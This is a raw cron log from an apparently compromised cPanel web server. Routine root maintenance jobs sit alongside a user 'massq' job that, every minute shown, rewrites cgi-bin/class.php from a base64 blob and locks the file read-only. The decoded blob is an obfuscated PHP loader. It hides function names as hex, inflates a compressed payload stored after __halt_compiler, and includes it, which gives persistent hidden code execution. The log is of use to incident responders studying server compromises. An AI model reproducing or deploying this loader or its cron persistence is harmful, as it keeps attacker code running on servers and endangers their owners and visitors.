Nov 15 23:03:01 server CROND[19988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:04:01 server CROND[20246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:05:01 server CROND[20508]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 23:05:01 server CROND[20509]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 23:05:01 server CROND[20511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:05:01 server CROND[20512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:05:01 server CROND[20510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:06:01 server CROND[20838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:07:01 server CROND[21143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:08:01 server CROND[21495]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:09:01 server CROND[21764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:09:01 server CROND[21765]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 23:10:01 server CROND[22039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:10:01 server CROND[22040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:10:01 server CROND[22041]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 23:10:01 server CROND[22042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 23:11:01 server CROND[22356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:12:01 server CROND[22613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 23:12:01 server CROND[22614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:13:01 server CROND[22868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:14:01 server CROND[23123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:15:01 server CROND[23481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 23:15:01 server CROND[23482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 23:15:01 server CROND[23480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
